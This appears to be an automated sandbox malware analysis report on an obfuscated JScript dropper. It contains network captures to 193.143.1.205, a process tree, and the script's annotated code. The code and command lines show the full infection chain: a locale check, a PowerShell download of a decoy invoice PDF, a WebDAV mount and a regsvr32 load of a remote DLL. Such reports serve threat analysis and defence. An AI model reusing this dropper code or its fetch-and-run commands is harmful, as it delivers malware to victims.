Jan 11, 2025 03:11:09.098486900 CET	1.1.1.1	192.168.2.5	0xaf92	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5720	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:10:57.891596079 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:10:58.684025049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:10:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:10:58.684119940 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:10:58.684149027 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:10:58.684420109 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:10:58.684449911 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:10:58.684712887 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 03:10:58.684755087 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 03:10:58.684812069 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 03:10:58.684839010 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 03:10:58.685561895 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 03:10:58.738333941 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	7056	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:11:00.466607094 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:11:01.263127089 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:11:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js"
Imagebase:	0x7ff7e3920000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Imagebase:	0x7ff672ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:10:54
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:10:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:10:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff672ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:10:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff706c80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:11:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:11:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:11:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,10370228529701564776,12005692923308842787,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wsanfojtu() {	wsanfojtu() ➔ undefined
1	vwfjkcfd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wyexc = this[dvhuhpga + ddheyetm + jvtqrkfm + nrzjp + tvuuo + zmzwpyss + xgpnjuzv + mwcuo] ( this[tegqmoqa + gpjkqysq + rikwl + jvtqrkfm + byloilaqh + dvhuhpga + mwcuo][khwqryrdg + jvtqrkfm + tvuuo + ddheyetm + mwcuo + tvuuo + zsaxpuil + szbjzn + kbftzstal + tvuuo + rikwl + mwcuo] ( tegqmoqa + gpjkqysq + rikwl + jvtqrkfm + byloilaqh + dvhuhpga + mwcuo + wgrpaec + gpjkqysq + svlfv + tvuuo + onhocl + onhocl ) [wulbiah + tvuuo + gvttet + wulbiah + tvuuo + ddheyetm + wxeqqvcc] ( wmqdgek + qlgiu + pydacs + zrlykshoc + ftqwl + khwqryrdg + duihxcr + wulbiah + wulbiah + pydacs + bxytnf + dwnxz + ftqwl + duihxcr + gpjkqysq + pydacs + wulbiah + zuigw + khwqryrdg + hncuelcp + xgpnjuzv + mwcuo + jvtqrkfm + hncuelcp + onhocl + srzhdt + ucbrdn + ddheyetm + xgpnjuzv + tvuuo + onhocl + zuigw + zmzwpyss + xgpnjuzv + mwcuo + tvuuo + jvtqrkfm + xgpnjuzv + ddheyetm + mwcuo + byloilaqh + hncuelcp + xgpnjuzv + ddheyetm + onhocl + zuigw + egbqkk + hncuelcp + rikwl + ddheyetm + onhocl + tvuuo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( cpapzkglj = 0 ; cpapzkglj < vwfjkcfd[onhocl + tvuuo + xgpnjuzv + gvttet + mwcuo + svlfv] ; ++ cpapzkglj )
4	{
5	if ( wyexc == vwfjkcfd[cpapzkglj] )
6	{
7	wyexc = true;
8	break ;
9	}
10	}
11	if ( wyexc !== true )
12	this[tegqmoqa + gpjkqysq + rikwl + jvtqrkfm + byloilaqh + dvhuhpga + mwcuo][xwjsptv + rsshxxwtb + byloilaqh + mwcuo] ( );
13	this[tegqmoqa + gpjkqysq + rikwl + jvtqrkfm + byloilaqh + dvhuhpga + mwcuo][khwqryrdg + jvtqrkfm + tvuuo + ddheyetm + mwcuo + tvuuo + zsaxpuil + szbjzn + kbftzstal + tvuuo + rikwl + mwcuo] ( tegqmoqa + gpjkqysq + rikwl + jvtqrkfm + byloilaqh + dvhuhpga + mwcuo + wgrpaec + gpjkqysq + svlfv + tvuuo + onhocl + onhocl ) [jvtqrkfm + rsshxxwtb + xgpnjuzv] ( rikwl + oclbi + wxeqqvcc + srzhdt + xlhbsg + rikwl + srzhdt + dvhuhpga + hncuelcp + zhfmz + tvuuo + jvtqrkfm + nrzjp + svlfv + tvuuo + onhocl + onhocl + wgrpaec + tvuuo + vbqayg + tvuuo + srzhdt + smmsyss + khwqryrdg + hncuelcp + oclbi + oclbi + ddheyetm + xgpnjuzv + wxeqqvcc + srzhdt + xplvnhbb + zmzwpyss + xgpnjuzv + cxoagkoy + hncuelcp + ugjdtjbkm + tvuuo + smmsyss + tegqmoqa + tvuuo + szbjzn + wulbiah + tvuuo + neqcjc + rsshxxwtb + tvuuo + nrzjp + mwcuo + srzhdt + smmsyss + zsaxpuil + rsshxxwtb + mwcuo + yvshghan + byloilaqh + onhocl + tvuuo + srzhdt + quxcwaqv + mwcuo + tvuuo + oclbi + dvhuhpga + quxcwaqv + zuigw + byloilaqh + xgpnjuzv + cxoagkoy + hncuelcp + byloilaqh + rikwl + tvuuo + wgrpaec + dvhuhpga + wxeqqvcc + lpsad + srzhdt + svlfv + mwcuo + mwcuo + dvhuhpga + iiiffnrav + xlhbsg + xlhbsg + posczxh + vxnuekh + pdedblsh + wgrpaec + posczxh + kfbnh + pdedblsh + wgrpaec + posczxh + wgrpaec + gjeamuq + qeczfj + qdostgwwk + xlhbsg + byloilaqh + xgpnjuzv + cxoagkoy + hncuelcp + byloilaqh + rikwl + tvuuo + wgrpaec + dvhuhpga + svlfv + dvhuhpga + xplvnhbb + qxencj + qxencj + nrzjp + mwcuo + ddheyetm + jvtqrkfm + mwcuo + srzhdt + quxcwaqv + mwcuo + tvuuo + oclbi + dvhuhpga + quxcwaqv + zuigw + byloilaqh + xgpnjuzv + cxoagkoy + hncuelcp + byloilaqh + rikwl + tvuuo + wgrpaec + dvhuhpga + wxeqqvcc + lpsad + qxencj + qxencj + rikwl + oclbi + wxeqqvcc + srzhdt + xlhbsg + rikwl + srzhdt + xgpnjuzv + tvuuo + mwcuo + srzhdt + rsshxxwtb + nrzjp + tvuuo + srzhdt + zuigw + zuigw + posczxh + vxnuekh + pdedblsh + wgrpaec + posczxh + kfbnh + pdedblsh + wgrpaec + posczxh + wgrpaec + gjeamuq + qeczfj + qdostgwwk + erniisu + plmvazk + plmvazk + plmvazk + plmvazk + zuigw + wxeqqvcc + ddheyetm + cxoagkoy + zhfmz + zhfmz + zhfmz + jvtqrkfm + hncuelcp + hncuelcp + mwcuo + zuigw + qxencj + qxencj + rikwl + oclbi + wxeqqvcc + srzhdt + xlhbsg + rikwl + srzhdt + jvtqrkfm + tvuuo + gvttet + nrzjp + cxoagkoy + jvtqrkfm + pdedblsh + gjeamuq + srzhdt + xlhbsg + nrzjp + srzhdt + zuigw + zuigw + posczxh + vxnuekh + pdedblsh + wgrpaec + posczxh + kfbnh + pdedblsh + wgrpaec + posczxh + wgrpaec + gjeamuq + qeczfj + qdostgwwk + erniisu + plmvazk + plmvazk + plmvazk + plmvazk + zuigw + wxeqqvcc + ddheyetm + cxoagkoy + zhfmz + zhfmz + zhfmz + jvtqrkfm + hncuelcp + hncuelcp + mwcuo + zuigw + gjeamuq + folezve + pdedblsh + posczxh + kfbnh + posczxh + pdedblsh + vxnuekh + posczxh + qeczfj + pdedblsh + posczxh + gjeamuq + kfbnh + folezve + wgrpaec + wxeqqvcc + onhocl + onhocl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll",0,false) ➔ 0
14	}
15	pydacs = "E";
16	pdedblsh = "v";
17	pdedblsh = "v";
18	pdedblsh = "W";
19	pdedblsh = "z";
20	pdedblsh = "w";
21	pdedblsh = "z";
22	pdedblsh = "P";
23	pdedblsh = "P";
24	pdedblsh = "w";
25	pdedblsh = "A";
26	pdedblsh = "b";
27	pdedblsh = "m";
28	pdedblsh = "o";
29	pdedblsh = "Q";
30	pdedblsh = "G";
31	pdedblsh = "f";
32	pdedblsh = "H";
33	pdedblsh = "g";
34	pdedblsh = "q";
35	pdedblsh = "H";
36	pdedblsh = "A";
37	pdedblsh = "X";
38	pdedblsh = "h";
39	pdedblsh = "y";
40	pdedblsh = "r";
41	pdedblsh = "c";
42	pdedblsh = "Z";
43	pdedblsh = "x";
44	pdedblsh = "A";
45	pdedblsh = "g";
46	pdedblsh = "p";
47	pdedblsh = "I";
48	pdedblsh = "V";
49	pdedblsh = "M";
50	pdedblsh = "Z";
51	pdedblsh = "s";
52	pdedblsh = "c";
53	pdedblsh = "B";
54	pdedblsh = "L";
55	pdedblsh = "a";
56	pdedblsh = "3";
57	wxeqqvcc = "O";
58	wxeqqvcc = "z";
59	wxeqqvcc = "F";
60	wxeqqvcc = "A";
61	wxeqqvcc = "z";
62	wxeqqvcc = "b";
63	wxeqqvcc = "L";
64	wxeqqvcc = "G";
65	wxeqqvcc = "d";
66	tegqmoqa = "M";
67	tegqmoqa = "m";
68	tegqmoqa = "X";
69	tegqmoqa = "n";
70	tegqmoqa = "V";
71	tegqmoqa = "C";
72	tegqmoqa = "f";
73	tegqmoqa = "R";
74	tegqmoqa = "U";
75	tegqmoqa = "l";
76	tegqmoqa = "H";
77	tegqmoqa = "f";
78	tegqmoqa = "j";
79	tegqmoqa = "w";
80	tegqmoqa = "c";
81	tegqmoqa = "D";
82	tegqmoqa = "c";
83	tegqmoqa = "P";
84	tegqmoqa = "N";
85	tegqmoqa = "r";
86	tegqmoqa = "H";
87	tegqmoqa = "L";
88	tegqmoqa = "N";
89	tegqmoqa = "h";
90	tegqmoqa = "f";
91	tegqmoqa = "K";
92	tegqmoqa = "v";
93	tegqmoqa = "P";
94	tegqmoqa = "v";
95	tegqmoqa = "b";
96	tegqmoqa = "D";
97	tegqmoqa = "a";
98	tegqmoqa = "W";
99	svlfv = "o";
100	svlfv = "L";
101	svlfv = "C";
102	svlfv = "l";
103	svlfv = "E";
104	svlfv = "k";
105	svlfv = "k";
106	svlfv = "y";
107	svlfv = "l";
108	svlfv = "c";
109	svlfv = "u";
110	svlfv = "m";
111	svlfv = "m";
112	svlfv = "r";
113	svlfv = "Q";
114	svlfv = "d";
115	svlfv = "b";
116	svlfv = "R";
117	svlfv = "i";
118	svlfv = "G";
119	svlfv = "z";
120	svlfv = "k";
121	svlfv = "C";
122	svlfv = "L";
123	svlfv = "r";
124	svlfv = "k";
125	svlfv = "h";
126	iiiffnrav = "N";
127	iiiffnrav = "f";
128	iiiffnrav = "g";
129	iiiffnrav = "p";
130	iiiffnrav = "h";
131	iiiffnrav = "A";
132	iiiffnrav = "G";
133	iiiffnrav = "S";
134	iiiffnrav = "r";
135	iiiffnrav = "D";
136	iiiffnrav = "I";
137	iiiffnrav = "K";
138	iiiffnrav = "N";
139	iiiffnrav = "s";
140	iiiffnrav = "O";
141	iiiffnrav = "k";
142	iiiffnrav = "j";
143	iiiffnrav = "V";
144	iiiffnrav = "O";
145	iiiffnrav = "v";
146	iiiffnrav = ":";
147	kbftzstal = "E";
148	kbftzstal = "s";
149	kbftzstal = "v";
150	kbftzstal = "t";
151	kbftzstal = "I";
152	kbftzstal = "y";
153	kbftzstal = "D";
154	kbftzstal = "J";
155	kbftzstal = "G";
156	kbftzstal = "k";
157	kbftzstal = "n";
158	kbftzstal = "C";
159	kbftzstal = "j";
160	xgpnjuzv = "l";
161	xgpnjuzv = "M";
162	xgpnjuzv = "n";
163	oclbi = "g";
164	oclbi = "v";
165	oclbi = "y";
166	oclbi = "l";
167	oclbi = "O";
168	oclbi = "l";
169	oclbi = "Z";
170	oclbi = "T";
171	oclbi = "f";
172	oclbi = "D";
173	oclbi = "F";
174	oclbi = "c";
175	oclbi = "V";
176	oclbi = "z";
177	oclbi = "S";
178	oclbi = "A";
179	oclbi = "V";
180	oclbi = "c";
181	oclbi = "O";
182	oclbi = "G";
183	oclbi = "B";
184	oclbi = "u";
185	oclbi = "W";
186	oclbi = "O";
187	oclbi = "p";
188	oclbi = "D";
189	oclbi = "V";
190	oclbi = "D";
191	oclbi = "x";
192	oclbi = "e";
193	oclbi = "B";
194	oclbi = "Q";
195	oclbi = "P";
196	oclbi = "P";
197	oclbi = "n";
198	oclbi = "P";
199	oclbi = "F";
200	oclbi = "v";
201	oclbi = "l";
202	oclbi = "e";
203	oclbi = "p";
204	oclbi = "y";
205	oclbi = "z";
206	oclbi = "m";
207	wulbiah = "l";
208	wulbiah = "p";
209	wulbiah = "h";
210	wulbiah = "I";
211	wulbiah = "x";
212	wulbiah = "v";
213	wulbiah = "M";
214	wulbiah = "X";
215	wulbiah = "p";
216	wulbiah = "q";
217	wulbiah = "z";
218	wulbiah = "l";
219	wulbiah = "w";
220	wulbiah = "X";
221	wulbiah = "I";
222	wulbiah = "t";
223	wulbiah = "p";
224	wulbiah = "j";
225	wulbiah = "L";
226	wulbiah = "r";
227	wulbiah = "G";
228	wulbiah = "d";
229	wulbiah = "u";
230	wulbiah = "W";
231	wulbiah = "N";
232	wulbiah = "t";
233	wulbiah = "b";
234	wulbiah = "i";
235	wulbiah = "X";
236	wulbiah = "O";
237	wulbiah = "e";
238	wulbiah = "o";
239	wulbiah = "S";
240	wulbiah = "W";
241	wulbiah = "M";
242	wulbiah = "N";
243	wulbiah = "v";
244	wulbiah = "p";
245	wulbiah = "q";
246	wulbiah = "j";
247	wulbiah = "s";
248	wulbiah = "V";
249	wulbiah = "R";
250	gjeamuq = "Q";
251	gjeamuq = "u";
252	gjeamuq = "U";
253	gjeamuq = "T";
254	gjeamuq = "Y";
255	gjeamuq = "f";
256	gjeamuq = "y";
257	gjeamuq = "Z";
258	gjeamuq = "B";
259	gjeamuq = "U";
260	gjeamuq = "m";
261	gjeamuq = "m";
262	gjeamuq = "X";
263	gjeamuq = "e";
264	gjeamuq = "b";
265	gjeamuq = "u";
266	gjeamuq = "n";
267	gjeamuq = "l";
268	gjeamuq = "j";
269	gjeamuq = "I";
270	gjeamuq = "B";
271	gjeamuq = "E";
272	gjeamuq = "z";
273	gjeamuq = "p";
274	gjeamuq = "2";
275	bxytnf = "L";
